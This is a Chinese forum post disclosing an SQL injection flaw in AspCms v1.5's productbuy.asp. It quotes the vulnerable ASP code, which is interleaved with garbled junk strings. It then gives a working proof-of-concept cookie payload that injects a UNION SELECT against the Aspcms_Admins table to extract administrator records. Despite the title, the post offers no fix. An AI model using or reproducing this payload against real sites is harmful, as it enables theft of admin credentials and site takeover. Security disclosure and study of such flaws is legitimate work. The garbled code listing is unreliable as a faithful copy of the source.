AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
' \$ I3 ]1 t$ b# B+ m/ Z
<%

if action = "buy" then

$ \! j6 x6 M) Q7 q        addOrder()
0 N& d% ^" p* D
else

9 |4 ]' v* a  ?1 v# ]- U# Z        echoContent()
4 Y. i- T: n% |0 m6 d: Y- `
% ^9 h& u/ @$ R* Aend if
9 G$ O/ Z! [! O( Q( o


……略过
( B& M. p! ~7 n' ?9 g3 [
/ Z( Q0 u) {5 F1 B8 r0 b' v

Sub echoContent()
! h* Y! _' E7 E7 s4 }4 k2 O
1 \: L% |$ U' k: B/ `6 \. U        dim id

* z6 U, |; ?* P, u. d        id=getForm("id","get")
- s: h* F: B. U9 i6 p& R
        
+ F6 d4 K1 @( \8 Y# {0 O+ d
) G- C& e  B$ p! [. O; w6 O        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
8 X9 W5 |$ M6 b. ]: |1 h
        

5 Y( w  r& h* s  w        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
% ~- B' C2 m: X. n% |# ^
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
& x6 \/ c, c  Z; ^2 d6 k' y, h4 }
, k, c! D* N0 f4 g9 M        Dim templatePath,tempStr

* x: \) @* ^: q' G& j# W        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 B$ W% v$ E. w  o


        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

' s$ F; P' z. e. a8 p% G        selectproduct=rsObj(0)

% v8 C& w9 I" m        
$ \  I# R, r% f' V
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
% Z; K7 J" ]2 }3 T
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
$ O( N2 J1 R5 c( }$ ]
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
. Z, o9 k1 k: v2 R( Q* @% ?
; P5 d* D/ L& i                linkman=rsObj("truename")

                gender=rsObj("gender")
( H: i2 t, `6 n) K) o, w( a
                phone=rsObj("phone")

9 [* i! Q! }* b4 u2 }% F. u5 W                mobile=rsObj("mobile")
. ]% w4 Y! n  P" B
- k$ Q4 v' u( A  p! ^3 d% e- Q                email=rsObj("email")
' f4 n* z: Z4 n. [$ T3 n. l
# Q2 l% g$ @( A                qq=rsObj("qq")

$ U1 ?& F! Z+ Z/ i! b: o% |                address=rsObj("address")

! T5 p4 i; V# m8 d9 U2 {; w                postcode=rsObj("postcode")
9 y7 W2 }3 r; y5 Q2 D2 c) c; S. Y, g
        else
* p& J' R0 T2 M- a, R6 v
                gender=1

$ E, a$ b5 [1 H5 [! I. w6 J4 R. h        end if

        rsObj.close()
5 E  y" M; G9 ?( [  c# d8 n/ b' J
. v" \: q: _, l               

        with templateObj
, Y2 S2 G5 T& Q7 j& l
                .content=loadFile(templatePath)        
3 v7 _+ X9 k. O2 g- t% P
                .parseHtml()

) j. Q, C) a$ @5 z3 r                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

! k/ j% _- v1 ^6 Z7 B0 y8 f5 K                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
3 ]5 b: r8 S( z6 }; D; ?
                .content=replaceStr(.content,"[aspcms:gender]",gender)               

7 B3 A3 c; @4 S9 j1 m7 U1 y                .content=replaceStr(.content,"[aspcms:phone]",phone)               
' P- w* q  x6 f' a, }$ n0 h
7 H' x, k6 F/ S+ ^) w# `. N9 N* k                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
' Y- l+ t( I5 A' `1 z! J3 K
  U5 d2 b7 H4 m1 d                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ J! A* ]5 G) Y
! Y9 D5 s% R/ L) F$ \                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
6 X) T" T( S  d5 ^
                .content=replaceStr(.content,"[aspcms:address]",address)                        
. K5 p8 j$ P& y& D, g2 }# g7 Y7 {% y# N0 Y
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
8 P/ w$ V. W( B
                echo .content

        end with

2 m1 e/ r: m, b        set templateobj =nothing : terminateAllObjects
" L/ b- J& S- c1 u% g& t" O
End Sub
漏洞很明显，没啥好说的
poc：
- U, b3 Z% G/ v' A/ e+ e" }6 N
. O8 J6 O; u' hjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
% A1 P9 o1 k, ?8 L9 r( q0 U